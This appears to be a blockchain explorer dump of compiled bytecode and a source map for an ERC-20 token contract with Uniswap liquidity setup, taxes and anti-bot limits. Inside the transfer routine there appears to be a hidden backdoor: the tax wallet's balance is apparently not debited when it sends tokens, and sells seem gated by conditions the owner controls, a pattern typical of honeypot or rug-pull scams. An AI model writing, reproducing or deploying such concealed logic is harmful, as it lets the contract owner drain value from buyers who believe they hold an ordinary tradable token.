0x608060405260043610610108575f3560e01c8063715018a611610092578063a7520f1c11610062578063a7520f1c146102db578063a9059cbb146102ef578063cb0108b51461030e578063dd62ed3e14610323578063eb15679b14610367575f80fd5b8063715018a614610258578063883325c91461026c5780638da5cb5b1461028157806395d89b41146102a7575f80fd5b8063313ce567116100d8578063313ce567146101c9578063368516d3146101e45780635425bb69146101f95780636ba923071461020f57806370a0823114610224575f80fd5b806306fdde0314610113578063095ea7b31461015957806318160ddd1461018857806323b872dd146101aa575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600c81526b0536166657265756d363930360a41b60208201525b604051610150919061141e565b60405180910390f35b348015610164575f80fd5b50610178610173366004611480565b610385565b6040519015158152602001610150565b348015610193575f80fd5b5061019c61039b565b604051908152602001610150565b3480156101b5575f80fd5b506101786101c43660046114aa565b6103bc565b3480156101d4575f80fd5b5060405160098152602001610150565b3480156101ef575f80fd5b5061019c60095481565b348015610204575f80fd5b5061020d610424565b005b34801561021a575f80fd5b5061019c600c5481565b34801561022f575f80fd5b5061019c61023e3660046114e8565b6001600160a01b03165f9081526004602052604090205490565b348015610263575f80fd5b5061020d610788565b348015610277575f80fd5b5061019c600a5481565b34801561028c575f80fd5b505f546040516001600160a01b039091168152602001610150565b3480156102b2575f80fd5b5060408051808201909152600c81526b0534146455245554d363930360a41b6020820152610143565b3480156102e6575f80fd5b5061020d6107f9565b3480156102fa575f80fd5b50610178610309366004611480565b6108b0565b348015610319575f80fd5b5061019c600b5481565b34801561032e575f80fd5b5061019c61033d366004611503565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610372575f80fd5b5060155461017890610100900460ff1681565b5f6103913384846108bc565b5060015b92915050565b5f6103a86009600a61162e565b6103b79064e8d4a5100061163c565b905090565b5f6103c88484846109df565b6104198433610414856040518060600160405280602881526020016117c2602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906110bc565b6108bc565b5060015b9392505050565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90611653565b60405180910390fd5b60155460ff1615610465575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104af9030906104a06009600a61162e565b6104149064e8d4a5100061163c565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610523919061167c565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610582573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a6919061167c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610614919061167c565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d719473061065b816001600160a01b03165f9081526004602052604090205490565b5f8061066e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f99190611697565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561074e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077291906116c2565b506015805463ff0000ff19166301000001179055565b5f546001600160a01b031633146107b15760405162461bcd60e51b815260040161044d90611653565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108225760405162461bcd60e51b815260040161044d90611653565b61082e6009600a61162e565b61083d9064e8d4a5100061163c565b600990815561084d90600a61162e565b61085c9064e8d4a5100061163c565b600a9081557e890e8eef16d37d604d338f99944bba704656750b288ed9d9a5a00f2fad89709061088e9060099061162e565b61089d9064e8d4a5100061163c565b60405190815260200160405180910390a1565b5f6103913384846109df565b6001600160a01b03831661091e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044d565b6001600160a01b03821661097f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044d565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044d565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044d565b5f8111610b065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044d565b5f80546001600160a01b03858116911614801590610b3157505f546001600160a01b03848116911614155b15610f7d57601554610100900460ff1615610bf2576001546001600160a01b03848116911614801590610b7257506003546001600160a01b03848116911614155b15610bf257325f908152600860205260409020544311610be05760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161044d565b325f9081526008602052604090204390555b6003546001600160a01b038581169116148015610c1d57506001546001600160a01b03848116911614155b8015610c4157506001600160a01b0383165f9081526006602052604090205460ff16155b15610d8157600954821115610c905760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8bb37b638b4b11760591b604482015260640161044d565b600a5482610cb2856001600160a01b03165f9081526004602052604090205490565b610cbc91906116e1565b1115610d025760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fbbb239383b3c329760591b604482015260640161044d565b6013546014541015610d1957823b15610d19575f80fd5b60148054905f610d28836116f4565b90915550506001600160a01b0383165f908152600760205260409020805460ff19166001179055601154601454610d7e91606491610d789110610d6d57600d54610d71565b600f545b85906110f4565b90611153565b90505b6003546001600160a01b038481169116148015610da757506001600160a01b0384163014155b8015610dcb57506001600160a01b0384165f9081526006602052604090205460ff16155b15610e99576009548211158015610dfc5750600c546002546001600160a01b03165f90815260046020526040902054105b610e405760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8bb37b638b4b11760591b604482015260640161044d565b610e656064610d7860125460145411610e5b57600e54610d71565b60105485906110f4565b9050601354601454118015610e9157506001600160a01b0384165f9081526007602052604090205460ff165b610e99575f80fd5b305f9081526004602052604090205460155462010000900460ff16158015610ece57506003546001600160a01b038581169116145b8015610ee357506015546301000000900460ff165b8015610ef05750600b5481115b8015610eff5750601354601454115b8015610f2357506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f4757506001600160a01b0385165f9081526006602052604090205460ff16155b15610f7b57610f69610f6484610f5f84600c5461117f565b61117f565b611193565b478015610f7957610f7947611312565b505b505b8015610ff557305f90815260046020526040902054610f9c908261134d565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fec9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526004602052604090205461101990859084611396565b6001600160a01b0385165f9081526004602052604090205561105c61103e83836113c6565b6001600160a01b0385165f908152600460205260409020549061134d565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a585856113c6565b60405190815260200160405180910390a350505050565b5f81848411156110df5760405162461bcd60e51b815260040161044d919061141e565b505f6110eb848661170c565b95945050505050565b5f825f0361110357505f610395565b5f61110e838561163c565b90508261111b858361171f565b1461041d5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161044d565b5f61041d8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113f2565b5f81831161118d578261041d565b50919050565b6015805462ff000019166201000017905580156113035760155460ff1615611303576040805160028082526060820183525f9260208301908036833701905050905030815f815181106111e8576111e861173e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561123f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611263919061167c565b816001815181106112765761127661173e565b6001600160a01b03928316602091820292909201015260015461129c91309116846108bc565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d49085905f90869030904290600401611752565b5f604051808303815f87803b1580156112eb575f80fd5b505af11580156112fd573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611349573d5f803e3d5ffd5b5050565b5f8061135983856116e1565b90508381101561041d5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161044d565b6002545f906001600160a01b03908116908516036113b557508161041d565b6113bf83836113c6565b905061041d565b5f61041d8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110bc565b5f81836114125760405162461bcd60e51b815260040161044d919061141e565b505f6110eb848661171f565b5f6020808352835180828501525f5b818110156114495785810183015185820160400152820161142d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147d575f80fd5b50565b5f8060408385031215611491575f80fd5b823561149c81611469565b946020939093013593505050565b5f805f606084860312156114bc575f80fd5b83356114c781611469565b925060208401356114d781611469565b929592945050506040919091013590565b5f602082840312156114f8575f80fd5b813561041d81611469565b5f8060408385031215611514575f80fd5b823561151f81611469565b9150602083013561152f81611469565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158857815f190482111561156e5761156e61153a565b8085161561157b57918102915b93841c9390800290611553565b509250929050565b5f8261159e57506001610395565b816115aa57505f610395565b81600181146115c057600281146115ca576115e6565b6001915050610395565b60ff8411156115db576115db61153a565b50506001821b610395565b5060208310610133831016604e8410600b8410161715611609575081810a610395565b611613838361154e565b805f19048211156116265761162661153a565b029392505050565b5f61041d60ff841683611590565b80820281158282048414176103955761039561153a565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b5f6020828403121561168c575f80fd5b815161041d81611469565b5f805f606084860312156116a9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116d2575f80fd5b8151801515811461041d575f80fd5b808201808211156103955761039561153a565b5f600182016117055761170561153a565b5060010190565b818103818111156103955761039561153a565b5f8261173957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117a05784516001600160a01b03168352938301939183019160010161177b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8f3d1e1b6a98b636f9dadbbe3d0d42d9156456d31d6eb07efe1d69539f5ce0c64736f6c63430008140033

Deployed Bytecode Sourcemap

3495:9759:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5421:83;;;;;;;;;;-1:-1:-1;5491:5:0;;;;;;;;;;;;-1:-1:-1;;;5491:5:0;;;;5421:83;;;;;;;:::i;:::-;;;;;;;;6261:161;;;;;;;;;;-1:-1:-1;6261:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6261:161:0;1023:187:1;5698:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5698:100:0;1215:177:1;6430:317:0;;;;;;;;;;-1:-1:-1;6430:317:0;;;;;:::i;:::-;;:::i;5607:83::-;;;;;;;;;;-1:-1:-1;5607:83:0;;3852:1;2000:36:1;;1988:2;1973:18;5607:83:0;1858:184:1;4215:38:0;;;;;;;;;;;;;;;;12368:846;;;;;;;;;;;;;:::i;:::-;;4348:36;;;;;;;;;;;;;;;;5806:119;;;;;;;;;;-1:-1:-1;5806:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5899:18:0;5872:7;5899:18;;;:9;:18;;;;;;;5806:119;2515:148;;;;;;;;;;;;;:::i;4260:38::-;;;;;;;;;;;;;;;;2318:79;;;;;;;;;;-1:-1:-1;2356:7:0;2383:6;2318:79;;-1:-1:-1;;;;;2383:6:0;;;2445:51:1;;2433:2;2418:18;2318:79:0;2299:203:1;5512:87:0;;;;;;;;;;-1:-1:-1;5584:7:0;;;;;;;;;;;;-1:-1:-1;;;5584:7:0;;;;5512:87;;11807:174;;;;;;;;;;;;;:::i;5933:167::-;;;;;;;;;;-1:-1:-1;5933:167:0;;;;;:::i;:::-;;:::i;4305:36::-;;;;;;;;;;;;;;;;6108:145;;;;;;;;;;-1:-1:-1;6108:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6217:19:0;;;6190:7;6217:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6108:145;4726:28;;;;;;;;;;-1:-1:-1;4726:28:0;;;;;;;;;;;6261:161;6336:4;6353:39;1975:10;6376:7;6385:6;6353:8;:39::i;:::-;-1:-1:-1;6410:4:0;6261:161;;;;;:::o;5698:100::-;5751:7;3916:14;3852:1;3916:2;:14;:::i;:::-;3900:30;;:13;:30;:::i;:::-;5771:19;;5698:100;:::o;6430:317::-;6528:4;6545:36;6555:6;6563:9;6574:6;6545:9;:36::i;:::-;6592:125;6601:6;1975:10;6623:93;6665:6;6623:93;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6623:19:0;;;;;;:11;:19;;;;;;;;1975:10;6623:33;;;;;;;;;;:41;:93::i;:::-;6592:8;:125::i;:::-;-1:-1:-1;6735:4:0;6430:317;;;;;;:::o;12368:846::-;2445:6;;-1:-1:-1;;;;;2445:6:0;1975:10;2445:22;2437:50;;;;-1:-1:-1;;;2437:50:0;;;;;;;:::i;:::-;;;;;;;;;12461:7:::1;::::0;::::1;;12459:9;12436:34;;;::::0;::::1;;12482:6;:103:::0;;-1:-1:-1;;;;;;12482:103:0::1;12542:42;12482:103:::0;;::::1;::::0;;;12596:92:::1;::::0;12623:4:::1;::::0;3916:14:::1;3852:1;3916:2;:14;:::i;:::-;3900:30;::::0;:13:::1;:30;:::i;12596:92::-;12737:6;;;;;;;;;-1:-1:-1::0;;;;;12737:6:0::1;-1:-1:-1::0;;;;;12737:24:0::1;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12719:69:0::1;;12812:4;12834:6;;;;;;;;;-1:-1:-1::0;;;;;12834:6:0::1;-1:-1:-1::0;;;;;12834:27:0::1;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12719:148;::::0;-1:-1:-1;;;;;;12719:148:0::1;::::0;;;;;;-1:-1:-1;;;;;5418:15:1;;;12719:148:0::1;::::0;::::1;5400:34:1::0;5470:15;;5450:18;;;5443:43;5335:18;;12719:148:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12699:7;:168:::0;;-1:-1:-1;;;;;12699:168:0;;::::1;-1:-1:-1::0;;;;;;12699:168:0;;::::1;;::::0;;;12878:6;::::1;:22;12918:31;12969:4;12985:34;12969:4:::0;-1:-1:-1;;;;;5899:18:0;5872:7;5899:18;;;:9;:18;;;;;;;5806:119;12985:34:::1;13020:1;13022::::0;13024:7:::1;2356::::0;2383:6;-1:-1:-1;;;;;2383:6:0;;2318:79;13024:7:::1;12878:180;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12878:180:0;;;-1:-1:-1;;;;;5856:15:1;;;12878:180:0::1;::::0;::::1;5838:34:1::0;5888:18;;;5881:34;;;;5931:18;;;5924:34;;;;5974:18;;;5967:34;6038:15;;;6017:19;;;6010:44;13032:25:0::1;6070:19:1::0;;;6063:35;5772:19;;12878:180:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13076:7:0::1;::::0;;13111:6;13069:86:::1;::::0;-1:-1:-1;;;13069:86:0;;-1:-1:-1;;;;;13111:6:0;;::::1;13069:86;::::0;::::1;6594:51:1::0;-1:-1:-1;;6661:18:1;;;6654:34;13076:7:0;::::1;::::0;-1:-1:-1;13069:33:0::1;::::0;6567:18:1;;13069:86:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13166:8:0::1;:15:::0;;-1:-1:-1;;13192:14:0;;;;;12368:846::o;2515:148::-;2445:6;;-1:-1:-1;;;;;2445:6:0;1975:10;2445:22;2437:50;;;;-1:-1:-1;;;2437:50:0;;;;;;;:::i;:::-;2622:1:::1;2606:6:::0;;2585:40:::1;::::0;-1:-1:-1;;;;;2606:6:0;;::::1;::::0;2585:40:::1;::::0;2622:1;;2585:40:::1;2653:1;2636:19:::0;;-1:-1:-1;;;;;;2636:19:0::1;::::0;;2515:148::o;11807:174::-;2445:6;;-1:-1:-1;;;;;2445:6:0;1975:10;2445:22;2437:50;;;;-1:-1:-1;;;2437:50:0;;;;;;;:::i;:::-;3916:14:::1;3852:1;3916:2;:14;:::i;:::-;3900:30;::::0;:13:::1;:30;:::i;:::-;11878:8;:23:::0;;;3916:14:::1;::::0;:2:::1;:14;:::i;:::-;3900:30;::::0;:13:::1;:30;:::i;:::-;11912:8;:23:::0;;;11951:22:::1;::::0;3916:14:::1;::::0;3852:1:::1;::::0;3916:14:::1;:::i;:::-;3900:30;::::0;:13:::1;:30;:::i;:::-;11951:22;::::0;1361:25:1;;;1349:2;1334:18;11951:22:0::1;;;;;;;11807:174::o:0;5933:167::-;6011:4;6028:42;1975:10;6052:9;6063:6;6028:9;:42::i;6755:339::-;-1:-1:-1;;;;;6849:20:0;;6841:69;;;;-1:-1:-1;;;6841:69:0;;7183:2:1;6841:69:0;;;7165:21:1;7222:2;7202:18;;;7195:30;7261:34;7241:18;;;7234:62;-1:-1:-1;;;7312:18:1;;;7305:34;7356:19;;6841:69:0;6981:400:1;6841:69:0;-1:-1:-1;;;;;6929:21:0;;6921:68;;;;-1:-1:-1;;;6921:68:0;;7588:2:1;6921:68:0;;;7570:21:1;7627:2;7607:18;;;7600:30;7666:34;7646:18;;;7639:62;-1:-1:-1;;;7717:18:1;;;7710:32;7759:19;;6921:68:0;7386:398:1;6921:68:0;-1:-1:-1;;;;;7000:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7053:33;;1361:25:1;;;7053:33:0;;1334:18:1;7053:33:0;;;;;;;6755:339;;;:::o;7102:3578::-;-1:-1:-1;;;;;7190:18:0;;7182:68;;;;-1:-1:-1;;;7182:68:0;;7991:2:1;7182:68:0;;;7973:21:1;8030:2;8010:18;;;8003:30;8069:34;8049:18;;;8042:62;-1:-1:-1;;;8120:18:1;;;8113:35;8165:19;;7182:68:0;7789:401:1;7182:68:0;-1:-1:-1;;;;;7269:16:0;;7261:64;;;;-1:-1:-1;;;7261:64:0;;8397:2:1;7261:64:0;;;8379:21:1;8436:2;8416:18;;;8409:30;8475:34;8455:18;;;8448:62;-1:-1:-1;;;8526:18:1;;;8519:33;8569:19;;7261:64:0;8195:399:1;7261:64:0;7353:1;7344:6;:10;7336:64;;;;-1:-1:-1;;;7336:64:0;;8801:2:1;7336:64:0;;;8783:21:1;8840:2;8820:18;;;8813:30;8879:34;8859:18;;;8852:62;-1:-1:-1;;;8930:18:1;;;8923:39;8979:19;;7336:64:0;8599:405:1;7336:64:0;7411:14;2383:6;;-1:-1:-1;;;;;7442:26:0;;;2383:6;;7442:26;;;;:56;;-1:-1:-1;2356:7:0;2383:6;-1:-1:-1;;;;;7472:26:0;;;2383:6;;7472:26;;7442:56;7438:2706;;;7522:8;;;;;;;7518:488;;;7605:6;;-1:-1:-1;;;;;7555:57:0;;;7605:6;;7555:57;;;;:138;;-1:-1:-1;7685:7:0;;-1:-1:-1;;;;;7634:59:0;;;7685:7;;7634:59;;7555:138;7551:440;;;7752:9;7724:38;;;;:7;:38;;;;;;7785:12;-1:-1:-1;7716:161:0;;;;-1:-1:-1;;;7716:161:0;;9211:2:1;7716:161:0;;;9193:21:1;9250:2;9230:18;;;9223:30;9289:34;9269:18;;;9262:62;-1:-1:-1;;;9340:18:1;;;9333:34;9384:19;;7716:161:0;9009:400:1;7716:161:0;7926:9;7898:38;;;;:7;:38;;;;;7959:12;7898:73;;7551:440;8048:7;;-1:-1:-1;;;;;8026:29:0;;;8048:7;;8026:29;:68;;;;-1:-1:-1;8087:6:0;;-1:-1:-1;;;;;8059:35:0;;;8087:6;;8059:35;;8026:68;:98;;;;-1:-1:-1;;;;;;8113:11:0;;;;;;:7;:11;;;;;;;;8112:12;8026:98;8022:787;;;8182:8;;8154:6;:36;;8146:88;;;;-1:-1:-1;;;8146:88:0;;9616:2:1;8146:88:0;;;9598:21:1;9655:2;9635:18;;;9628:30;-1:-1:-1;;;9674:18:1;;;9667:51;9735:18;;8146:88:0;9414:345:1;8146:88:0;8323:8;;8295:6;8261:31;8289:2;-1:-1:-1;;;;;5899:18:0;5872:7;5899:18;;;:9;:18;;;;;;;5806:119;8261:31;:40;;;;:::i;:::-;:70;;8253:123;;;;-1:-1:-1;;;8253:123:0;;10096:2:1;8253:123:0;;;10078:21:1;10135:2;10115:18;;;10108:30;-1:-1:-1;;;10154:18:1;;;10147:51;10215:18;;8253:123:0;9894:345:1;8253:123:0;8425:8;;8398:7;;:35;8395:123;;;12148:35;;12211:20;8455:43;;;;;;8536:7;:9;;;:7;:9;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8565:31:0;;;;;;:8;:31;;;;;:36;;-1:-1:-1;;8565:36:0;8597:4;8565:36;;;8686:14;;8660:7;;8629:164;;8789:3;;8629:137;;-1:-1:-1;8659:106:0;;8751:14;;8659:106;;;8720:12;;8659:106;8629:6;;:11;:137::i;:::-;:159;;:164::i;:::-;8620:173;;8022:787;8834:7;;-1:-1:-1;;;;;8828:13:0;;;8834:7;;8828:13;:51;;;;-1:-1:-1;;;;;;8859:20:0;;8874:4;8859:20;;8828:51;:83;;;;-1:-1:-1;;;;;;8898:13:0;;;;;;:7;:13;;;;;;;;8897:14;8828:83;8825:552;;;8968:8;;8940:6;:36;;:102;;;;-1:-1:-1;9035:7:0;;9008;;-1:-1:-1;;;;;9008:7:0;5872;5899:18;;;:9;:18;;;;;;8998:44;8940:102;8932:154;;;;-1:-1:-1;;;8932:154:0;;9616:2:1;8932:154:0;;;9598:21:1;9655:2;9635:18;;;9628:30;-1:-1:-1;;;9674:18:1;;;9667:51;9735:18;;8932:154:0;9414:345:1;8932:154:0;9114:149;9259:3;9114:122;9153:15;;9127:7;;:41;9126:109;;9220:15;;9126:109;;;9188:13;;9114:6;;:11;:122::i;:149::-;9105:158;;9316:8;;9290:7;;:34;:70;;;;-1:-1:-1;;;;;;9346:14:0;;;;;;:8;:14;;;;;;;;9290:70;9282:79;;;;;;9456:4;9393:28;5899:18;;;:9;:18;;;;;;9482:6;;;;;;;9481:7;:38;;;;-1:-1:-1;9512:7:0;;-1:-1:-1;;;;;9506:13:0;;;9512:7;;9506:13;9481:38;:64;;;;-1:-1:-1;9537:8:0;;;;;;;9481:64;:125;;;;;9599:7;;9563:20;:43;9481:125;:173;;;;;9646:8;;9624:7;;:30;9481:173;:202;;;;-1:-1:-1;;;;;;9672:11:0;;;;;;:7;:11;;;;;;;;9671:12;9481:202;:234;;;;-1:-1:-1;;;;;;9702:13:0;;;;;;:7;:13;;;;;;;;9701:14;9481:234;9477:656;;;9750:104;9765:88;9772:6;9798:54;9805:20;9844:7;;9798:6;:54::i;:::-;9765:6;:88::i;:::-;9750:13;:104::i;:::-;9920:39;9981:40;;9978:140;;10046:52;10054:43;10046:7;:52::i;:::-;9731:402;9477:656;7501:2643;7438:2706;10159:8;;10156:237;;10260:4;10218:48;;;;:9;:48;;;;;;:72;;10283:6;10218:64;:72::i;:::-;10211:4;10181:36;;;;:9;:36;;;;;;;:109;;;;10320:61;;-1:-1:-1;;;;;10320:61:0;;;;;;;10374:6;1361:25:1;;1349:2;1334:18;;1215:177;10320:61:0;;;;;;;;10156:237;-1:-1:-1;;;;;10453:15:0;;;;;;:9;:15;;;;;;10430:58;;10437:4;;10481:6;10430;:58::i;:::-;-1:-1:-1;;;;;10403:25:0;;;;;;:9;:25;;;;;:85;10523:61;10551:32;:6;10576;10551:24;:32::i;:::-;-1:-1:-1;;;;;10523:13:0;;;;;;:9;:13;;;;;;;:27;:61::i;:::-;-1:-1:-1;;;;;10499:13:0;;;;;;;:9;:13;;;;;:85;;;;10600:72;;;10639:32;:6;10664;10639:24;:32::i;:::-;10600:72;;1361:25:1;;;1349:2;1334:18;10600:72:0;;;;;;;7171:3509;7102:3578;;;:::o;1110:194::-;1200:7;1236:12;1228:6;;;;1220:29;;;;-1:-1:-1;;;1220:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1260:9:0;1272:5;1276:1;1272;:5;:::i;:::-;1260:17;1110:194;-1:-1:-1;;;;;1110:194:0:o;1312:222::-;1371:7;1395:1;1400;1395:6;1391:47;;-1:-1:-1;1425:1:0;1418:8;;1391:47;1448:9;1460:5;1464:1;1460;:5;:::i;:::-;1448:17;-1:-1:-1;1493:1:0;1484:5;1488:1;1448:17;1484:5;:::i;:::-;:10;1476:31;;;;-1:-1:-1;;;1476:31:0;;10941:2:1;1476:31:0;;;10923:21:1;10980:1;10960:18;;;10953:29;-1:-1:-1;;;10998:18:1;;;10991:38;11046:18;;1476:31:0;10739:331:1;1542:114:0;1600:7;1627:21;1631:1;1634;1627:21;;;;;;;;;;;;;-1:-1:-1;;;1627:21:0;;;:3;:21::i;11376:155::-;11468:7;11498:1;11494;:5;11492:30;;11521:1;11492:30;;;-1:-1:-1;11517:1:0;11376:155;-1:-1:-1;11376:155:0:o;10688:680::-;4899:6;:13;;-1:-1:-1;;4899:13:0;;;;;10772:37;;10801:7:::1;10772:37;10823:7;::::0;::::1;;10819:31:::0;10842:7:::1;10819:31;10906:16;::::0;;10920:1:::1;10906:16:::0;;;;;::::1;::::0;;10860:33:::1;::::0;10906:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10906:16:0::1;10860:62;;10961:4;10933;10938:1;10933:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10933:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:33;;;;10997:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;10997:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;10933:7;;10997:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10977:4;10982:1;10977:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10977:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;11078:6:::1;::::0;11021:93:::1;::::0;11038:4:::1;::::0;11078:6:::1;11102:11:::0;11021:8:::1;:93::i;:::-;11125:6;::::0;:235:::1;::::0;-1:-1:-1;;;11125:235:0;;-1:-1:-1;;;;;11125:6:0;;::::1;::::0;:67:::1;::::0;:235:::1;::::0;11217:11;;11125:6:::1;::::0;11259:4;;11300::::1;::::0;11320:29:::1;::::0;11125:235:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10761:607;4923:1;-1:-1:-1::0;4935:6:0;:14;;-1:-1:-1;;4935:14:0;;;10688:680::o;12247:113::-;12304:7;;:48;;-1:-1:-1;;;;;12304:7:0;;;;:48;;;;;12345:6;;12304:7;:48;:7;:48;12345:6;12304:7;:48;;;;;;;;;;;;;;;;;;;;;12247:113;:::o;812:160::-;870:7;;902:5;906:1;902;:5;:::i;:::-;890:17;;931:1;926;:6;;918:27;;;;-1:-1:-1;;;918:27:0;;10941:2:1;918:27:0;;;10923:21:1;10980:1;10960:18;;;10953:29;-1:-1:-1;;;10998:18:1;;;10991:38;11046:18;;918:27:0;10739:331:1;11539:260:0;11682:7;;11642;;-1:-1:-1;;;;;11682:7:0;;;11664:25;;;;11661:131;;-1:-1:-1;11712:1:0;11705:8;;11661:131;11752:28;:1;11778;11752:24;:28::i;:::-;11745:35;;;;980:122;1042:7;1070:24;1077:1;1080;1070:24;;;;;;;;;;;;;-1:-1:-1;;;1070:24:0;;;:6;:24::i;1664:189::-;1750:7;1785:12;1778:5;1770:28;;;;-1:-1:-1;;;1770:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1809:9:0;1821:5;1825:1;1821;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;